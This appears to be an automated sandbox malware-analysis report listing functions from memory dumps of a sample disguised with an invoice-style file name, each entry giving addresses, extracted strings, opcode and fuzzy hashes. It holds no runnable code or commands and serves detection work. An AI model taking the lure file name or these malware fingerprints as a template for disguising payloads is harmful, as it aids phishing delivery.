String ID: (o^q$Hbq
API String ID: 0-662517225
Opcode ID: fa3a982af64b8ae281cd527ec95f5f3d8f4abf73f5957ade2cb31cd8bfabce9e
Instruction ID: 5a68dd2273580ae439b6803716633f1dc9cb130a6d63c82510457cfaae9226c4
Opcode Fuzzy Hash: fa3a982af64b8ae281cd527ec95f5f3d8f4abf73f5957ade2cb31cd8bfabce9e
Instruction Fuzzy Hash: 4012AE71A102299FDB19DF69C894BAEBBF6BF88304F148529E9059B391DF309D41CB80

Function 01223E09 Relevance: 2.8, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

Xbq, xrefs: 01223E47
$^q, xrefs: 01223E2E

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: Xbq$$^q
API String ID: 0-1593437937
Opcode ID: 4acfa29c775b89b8109a3d01e2346c727acd98586168d47407d8be997aa9b754
Instruction ID: 0a947da9045726c0d5f195a5eaf4bd06ec4cc11155612d6d691bf303434a4464
Opcode Fuzzy Hash: 4acfa29c775b89b8109a3d01e2346c727acd98586168d47407d8be997aa9b754
Instruction Fuzzy Hash: DD91C470B14259EBDB2CAF78C45527E7BB3BFC8700B148A2DE146E7298CE35C9468785

Function 06919548 Relevance: 1.6, APIs: 1, Instructions: 88libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 069195E0

Memory Dump Source

Source File: 00000006.00000002.4147168772.0000000006910000.00000040.00000800.00020000.00000000.sdmp, Offset: 06910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6910000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e1e6b109ebe814d6d1a2de7f43ef5beebba1f8f52ebc90476206e6dbb4515308
Instruction ID: 3a69b0e73165f3dea91499a220b74fb7ebf9aac65f2bec9c3315634a991c6018
Opcode Fuzzy Hash: e1e6b109ebe814d6d1a2de7f43ef5beebba1f8f52ebc90476206e6dbb4515308
Instruction Fuzzy Hash: C331F8B1D016189BEB18CFAAD9847DDFBF6BF88314F24C12AE418A7294DB701945CF50

Function 0122E97A Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f846b84f246f1693b6e9ac17a561a1b82c89b810f6b9df1db05a01b0e3529d6e
Instruction ID: 244100ff01a990d21f4d791e86e333f0fbf65de7710ce271622736e25e7d1b46
Opcode Fuzzy Hash: f846b84f246f1693b6e9ac17a561a1b82c89b810f6b9df1db05a01b0e3529d6e
Instruction Fuzzy Hash: 0D51C775E10218DFDB18DFAAD984A9DBBB2FF88310F24D029E815AB364DB359845CF10

Function 0122E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7077342df01d4fe9d09a6886af86d20cf6a5ef4c0c535b761afbe2d794b428db
Instruction ID: ffa96d78345a2a96a67839e8c93773af9c694ad5dba6212ebb57c1c48ab906ef
Opcode Fuzzy Hash: 7077342df01d4fe9d09a6886af86d20cf6a5ef4c0c535b761afbe2d794b428db
Instruction Fuzzy Hash: DB51B374E00318DFDB18DFAAD594A9DBBB2FF88300F209029E819AB364DB319945CF10

Function 012276F1 Relevance: 10.5, Strings: 8, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 0122772E
(o^q, xrefs: 012278B2
(o^q, xrefs: 01227815
(o^q, xrefs: 012277E9
(o^q, xrefs: 01227BFF
(o^q, xrefs: 01227C0F
,bq, xrefs: 01227B90
,bq, xrefs: 01227BA0

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-1932283790
Opcode ID: 08518751d03f1325da91cc4b6cab18a2f78cdd73019a22acb8a80b871656a222
Instruction ID: b6357a67aa96488439e7f4fe08d637b992f94ac4d7eea3411bb22df79add3f9b
Opcode Fuzzy Hash: 08518751d03f1325da91cc4b6cab18a2f78cdd73019a22acb8a80b871656a222
Instruction Fuzzy Hash: 46127A30A14219EFCB15CF68D984AAEBBF2FF98314F148569EA199B361D730ED41CB50

Function 01228490 Relevance: 3.2, Strings: 2, Instructions: 701
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 01228FB4
$^q, xrefs: 01228FD7

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 3437fc430b8e3f6d15d2063c9889a314260055f4872886fbf0f211a55ff5af53
Instruction ID: d5e2dc5d258620a74881711a3f0b9b6d1f94bc948b4af373e10c850b25f8643d
Opcode Fuzzy Hash: 3437fc430b8e3f6d15d2063c9889a314260055f4872886fbf0f211a55ff5af53
Instruction Fuzzy Hash: AB526370A10219CFEB159BA4C890BAEBB77FF94300F1081A9D11A6B3A5CF359E85DF51

Function 01225F38 Relevance: 2.8, Strings: 2, Instructions: 268COMMON

Download Yara Rule

Strings

Hbq, xrefs: 01226023
Hbq, xrefs: 01226056

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 2651c4f623efb2df48aaa828fa5cfd5cee1a04c2525e7aa80d1fae55b99486e4
Instruction ID: 085e7aaa0a27ff748d82e10a195b082246cb418ca799482a1c33451213227027
Opcode Fuzzy Hash: 2651c4f623efb2df48aaa828fa5cfd5cee1a04c2525e7aa80d1fae55b99486e4
Instruction Fuzzy Hash: 7B91CD317142669FDB169F388854B7E7BB2BF88204F148969E9068B396CF78DC01CB91

Function 01226498 Relevance: 2.7, Strings: 2, Instructions: 229COMMON

Download Yara Rule

Strings

,bq, xrefs: 0122656E
,bq, xrefs: 01226578

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: 6477b8279975f081088d4faf53a885031d305539637427eec9dfcb0dbcebad2f
Instruction ID: dcb2b78047bb4c5bc9cadb8f8834cf168bc9e2554dd3f9844536befa06ff175d
Opcode Fuzzy Hash: 6477b8279975f081088d4faf53a885031d305539637427eec9dfcb0dbcebad2f
Instruction Fuzzy Hash: 3F81B232A20526EFCB24CF6DD488A7DBBB2FF89200F148569DA05D73A5DB35E841CB50

Function 01229C30 Relevance: 2.6, Strings: 2, Instructions: 148COMMON

Download Yara Rule

Strings

4'^q, xrefs: 01229D6D
4'^q, xrefs: 01229D84

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 56570ebad0f635336ca14418b835bd9217745b0ef20cc9851c46b8958c432b37
Instruction ID: b0550a4cfec580835872f3bfafc2f4aa19047e97f8f62075f0dcf711645aa3c0
Opcode Fuzzy Hash: 56570ebad0f635336ca14418b835bd9217745b0ef20cc9851c46b8958c432b37
Instruction Fuzzy Hash: 2651B031710225AFDF11DF69C844BAEBBE6EB88314F148466EA08CB256DB71CC81DB51

Function 01223CC0 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

Xbq, xrefs: 01223CF6
Xbq, xrefs: 01223CCD

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: Xbq$Xbq
API String ID: 0-1243427068
Opcode ID: dacd988dffc87a498899ce14d153dfe8eef7acb9ed5a10f866e2a91d206eba18
Instruction ID: c11646ee0f616e2f6f666cf5a3e3253b4965bb1ebb20d3cc8dc4b4b86f105ab1
Opcode Fuzzy Hash: dacd988dffc87a498899ce14d153dfe8eef7acb9ed5a10f866e2a91d206eba18
Instruction Fuzzy Hash: 2C31D631B24235A7DF2C896E859527EA5E6BBCC300F144539DA06C7394DFB9C8458791

Function 01220C8F Relevance: 1.8, Strings: 1, Instructions: 546COMMON

Download Yara Rule

Strings

LR^q, xrefs: 01220F19

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 1757b12030057c9d67683d8c08fad4e094f35425597fdd2ec9dad91275d15e7a
Instruction ID: 368c6e2aaa3799052485173aee0c3830d932b8b05b3cab25ef3b6fb2f0118140
Opcode Fuzzy Hash: 1757b12030057c9d67683d8c08fad4e094f35425597fdd2ec9dad91275d15e7a
Instruction Fuzzy Hash: 7A52DA75D01219CFCB54EF64E998B9DBBB2FB88705F1046A9D409A7368DB306E85CF80

Function 01220CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LR^q, xrefs: 01220F19

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 8a2adf3233f64599751170e90e9080b01182ceeef97428d1b212be289250b1e0
Instruction ID: 16bc44dfc482f078b187b15df1fdde4c8b4608da73e2c85e1eb9d3f350bf1abe
Opcode Fuzzy Hash: 8a2adf3233f64599751170e90e9080b01182ceeef97428d1b212be289250b1e0
Instruction Fuzzy Hash: FD52DA75D01219CFCB54EF64E998B9DBBB2FB88705F1046A9D409A7368DB306E85CF80

Function 0691992C Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 06919A6E

Memory Dump Source

Source File: 00000006.00000002.4147168772.0000000006910000.00000040.00000800.00020000.00000000.sdmp, Offset: 06910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6910000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6700e08dcf5f80e8fb0c120b3e4896b107f19e7c340727378cd47639c170c7ce
Instruction ID: 9ba6ac06561d86336b31c14dfc313d85a73c8ad31e9c572238fc86d4f2af2fd0
Opcode Fuzzy Hash: 6700e08dcf5f80e8fb0c120b3e4896b107f19e7c340727378cd47639c170c7ce
Instruction Fuzzy Hash: 51117974E0010D9FDB44DFE8D8A4AADBBB5FF88314F248565E904EB641DB70AD45CB60

Function 0122AEF0 Relevance: 1.4, Strings: 1, Instructions: 145COMMON

Download Yara Rule

Strings

(o^q, xrefs: 0122B079

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: (o^q
API String ID: 0-74704288
Opcode ID: 81d4e7b846c78c60e108b1eb9643b453c9ddca130a76dd606ee7120e809ad41b
Instruction ID: 41a16aaef933ffe82a85ea5467d4ee43e7466eb103e59850f1d3a26ed0fe2203
Opcode Fuzzy Hash: 81d4e7b846c78c60e108b1eb9643b453c9ddca130a76dd606ee7120e809ad41b
Instruction Fuzzy Hash: D241F331B102149FCB1A9F68D854AAE7BB2FF98210F144569E516DB791CF359D01C790

Function 0122E007 Relevance: .7, Instructions: 652COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 205049639795f61e80f0d392b5ec88d9a1f0392e353f49f82427c2579cc6d73b
Instruction ID: aace7d5e18b8a4e67c89c5197d1944c2b06ceca40bda87491d8baa691378b347
Opcode Fuzzy Hash: 205049639795f61e80f0d392b5ec88d9a1f0392e353f49f82427c2579cc6d73b
Instruction Fuzzy Hash: 1712CD358A1347CFDB502F20E6AD22E7B61FF5F3A37046E18E11F88449DB3501A8CA66

Function 0122E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a92eaa56c6b97e75c767bc2f439eff7f08a78f90bae0e657ba49858858f9fc01
Instruction ID: 85be8597a275686ab58b0e51e890f3640eabab8979cdfaae1636fa3594015dec
Opcode Fuzzy Hash: a92eaa56c6b97e75c767bc2f439eff7f08a78f90bae0e657ba49858858f9fc01
Instruction Fuzzy Hash: 2512CD758A1247CFDB503F20E5AD22E7A61FF5F3A37006E18E11F884499B7501A8CA66

Function 01229A10 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b43be8fd6eca335457f8e882441c9f2ce6261551e6096443a555cc48b710d116
Instruction ID: 600938eb6b35a49ba53a7bfa3afde44ac5d83c46c8021261fb33994349c7c774
Opcode Fuzzy Hash: b43be8fd6eca335457f8e882441c9f2ce6261551e6096443a555cc48b710d116
Instruction Fuzzy Hash: 8E813731911625AFCF11CF2CC8805AEBFB5EF85324F19C666E9589B351D731E892CBA0

Function 012280D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d22fdcd91b43b841b043b61c412e3fdcd1453db66c1497c8a5b4df146eed6d8a
Instruction ID: ee3db1904b2f02f4daf2dd23db1e5dbbb50076a3a8402576e312d0d735386b0a
Opcode Fuzzy Hash: d22fdcd91b43b841b043b61c412e3fdcd1453db66c1497c8a5b4df146eed6d8a
Instruction Fuzzy Hash: 93718C34720666DFDB25DF2CC884A6E7BE5BF4A600B1501AAEA01CB3B1DB74DC41CB51

Function 0122F71F Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d1ec3ea4f931c452468b1bf16edbcc14bf63824b2a96ae239943aaa0275d908
Instruction ID: 220a190884c93e2238a7a372df6cb0c9e99661eb2ec5ac33ad35b4e7001bbf5d
Opcode Fuzzy Hash: 0d1ec3ea4f931c452468b1bf16edbcc14bf63824b2a96ae239943aaa0275d908
Instruction Fuzzy Hash: 7E510134E00218DFDB14DFA5D994BADBBB2FF88304F208529D80AAB394DB75594ACF40

Function 0122D548 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f799d73d98e2a592823be3dfce2177ff34ac028e4448f043ed4e4727c097f3bc
Instruction ID: 55c6a8001b3ff982cbab68d0dcec05c7062bd41723fe613338ec461e7a2b63f0
Opcode Fuzzy Hash: f799d73d98e2a592823be3dfce2177ff34ac028e4448f043ed4e4727c097f3bc
Instruction Fuzzy Hash: 0D519374E11218DFDB58DFA9D58499DBBF2FF89310F208169E819AB364DB30A941CF00

Function 012241A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ce52a5946b01706b8f8c99e0ad23100fa9d51d48382f77953a0b153f3a2671f
Instruction ID: 3cb4d2928ac78302ea6ee99b002907148929ea987aa2a2218356e161d45671b0
Opcode Fuzzy Hash: 8ce52a5946b01706b8f8c99e0ad23100fa9d51d48382f77953a0b153f3a2671f
Instruction Fuzzy Hash: C351C275E11218DFCB08DFB9D48499DBBF2FF89304B209569E809AB324DB35A942CF50

Function 0122A303 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a7bf6ba2ad9a618956d6439c69eabc8248362764663887975672b6a10e5433d
Instruction ID: c1d75c9215145a1b62549ae69fb35fbf54a3262779b7fde1a9ef6a55a36f0cd2
Opcode Fuzzy Hash: 1a7bf6ba2ad9a618956d6439c69eabc8248362764663887975672b6a10e5433d
Instruction Fuzzy Hash: 0241A731A10269EFCF11CFA8C844B9EBFB2FF49350F048555EA15ABA52D374E914CB54

Function 01226FC8 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30c918be84f8243eccdadf9997da23c08df21054c4d70e51006f8d36f4d73375
Instruction ID: e22d9391e400453955534365066bf059b979d37aa78b68f1ee5466176af119b7
Opcode Fuzzy Hash: 30c918be84f8243eccdadf9997da23c08df21054c4d70e51006f8d36f4d73375
Instruction Fuzzy Hash: 6E411530A04259EFCB11CF68C804B6FBBF2FB54304F04846AE9158B252DB79DE49CB51

Function 01225658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eab61874ea1400e867f097fb047d0ee6420487baf34f16a423dd097914010466
Instruction ID: e4274df3ee1adc268cad745cc4412bf44c018678b8dc9e233c43edf334f30144
Opcode Fuzzy Hash: eab61874ea1400e867f097fb047d0ee6420487baf34f16a423dd097914010466
Instruction Fuzzy Hash: 9431737165111AEFCF069FA4E854ABF3BA2FB48304F008424F9169B394CB75CD61DB91

Function 01228370 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbe8afa3faa5f5ae79864a31c6efccd8632cc86c3843da6c3328499bf2c50cbe
Instruction ID: 2d764f7dcf51d7961c8123c57b4e04cf9555913d171305f02c23c5079352cd35
Opcode Fuzzy Hash: dbe8afa3faa5f5ae79864a31c6efccd8632cc86c3843da6c3328499bf2c50cbe
Instruction Fuzzy Hash: 792107717202226BDF2A1739C858A7E2AE7EFC4749B14403DD606CB3A5EE75CC02D782

Function 01228380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c71f0235ed45ae587255f551aac2111063d934c2a70a6cfd5223e8586ac4c2d
Instruction ID: 202d3bbdaa1c19d267048494c68be2a06f24ae485bc77c6d0564143ef7aa3234
Opcode Fuzzy Hash: 0c71f0235ed45ae587255f551aac2111063d934c2a70a6cfd5223e8586ac4c2d
Instruction Fuzzy Hash: 0821C231320222ABEB295629C454B7E76D7EFC4748F14843DD606CB795EE75CC42D382

Function 01222790 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b83bb6c201ec711fef4eb31fa6e0fe2428a5c4f2fe42a381dcc62929ba425f32
Instruction ID: 34df68f3744f1d6cfdb25c289bbe7bfc7e1e99afbe412be8fada4a89dbcd1999
Opcode Fuzzy Hash: b83bb6c201ec711fef4eb31fa6e0fe2428a5c4f2fe42a381dcc62929ba425f32
Instruction Fuzzy Hash: FD313470D05219CFCB05EFA8D9486EEBBB4FF49304F00416AD804BA264EB354A85CBA2

Function 012262F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87734cd364f5a273c65d07e1bdd3bcffe62aa129962e5e0af03c80cfa8a20146
Instruction ID: 0cdbca2514d0a75dace21ea61d9ba7ed89128c95f13dee04723473dd7a274107
Opcode Fuzzy Hash: 87734cd364f5a273c65d07e1bdd3bcffe62aa129962e5e0af03c80cfa8a20146
Instruction Fuzzy Hash: 8421F236B15522AFDB2A9B29D45462EB7A2FFC9B557084569E906CF394CF30CC028780

Function 012228F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de6c2865f08602aa9a1bd071248c64e51f4bfe797c90eb8de6541990a90db73c
Instruction ID: 396e1154057501b36e918875500fbf3494a616746b5fd156b27ea72ab7eed509
Opcode Fuzzy Hash: de6c2865f08602aa9a1bd071248c64e51f4bfe797c90eb8de6541990a90db73c
Instruction Fuzzy Hash: B621B071B10116EFCB14DF38C440AEE37A5EB9D6A4B20C419D94A9B340DB35EA03CBD2

Function 0111D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4130896351.000000000111D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0111D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_111d000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90f14bf4eb319ea3b2ebc1fe229cec949bc910cbb5929efab200b6e823adb2c2
Instruction ID: a185ac56a180a71209596b1ae559d4ab3fe4f24414cd3c80619b508bb8eb12b5
Opcode Fuzzy Hash: 90f14bf4eb319ea3b2ebc1fe229cec949bc910cbb5929efab200b6e823adb2c2
Instruction Fuzzy Hash: F8213771504204DFCF19DF68E9C8B26FB65FB84314F20C6BDE8494B25AC736D846CA62

Function 01224285 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b98c012bf04a66bff292997e190f5648ad68448adc97c218c0dd5af58083c41
Instruction ID: 1891c42f428a7e357e2dccbe83ede3e12777a059e444642235ce6d1633a20f1b
Opcode Fuzzy Hash: 8b98c012bf04a66bff292997e190f5648ad68448adc97c218c0dd5af58083c41
Instruction Fuzzy Hash: F931B379E11209DFCB04EFA8E58899DBBB2FF49304B208469E819AB324D731AD45CF40

Function 01225649 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d04de1f4ccdc1908ae718e6b2796e9501f062720c61cd5cd3f1d399d93f5ab2d
Instruction ID: 38571e8d527f76efe3049c5e6ec0d50420054ef2189f5dbf747af21ccfec9859
Opcode Fuzzy Hash: d04de1f4ccdc1908ae718e6b2796e9501f062720c61cd5cd3f1d399d93f5ab2d
Instruction Fuzzy Hash: 9221C231A1511ADFCF169F68E448BBF3BA1EB48214F008028E9158B395CB74CD61CB91

Function 01229761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51c8cdb1af25f355b91d46cfbbdffe194ecfb2ab6bdee6ce5adf03a2f0f8bb2f
Instruction ID: bad9234d717def5c114657d4346cf6ced6ecd04b34e7631259586796871f80e7
Opcode Fuzzy Hash: 51c8cdb1af25f355b91d46cfbbdffe194ecfb2ab6bdee6ce5adf03a2f0f8bb2f
Instruction Fuzzy Hash: 69217C70E01269EFDF09CFA5D550AEEBFB6EF49209F148069E511EA290DB30D981CB20

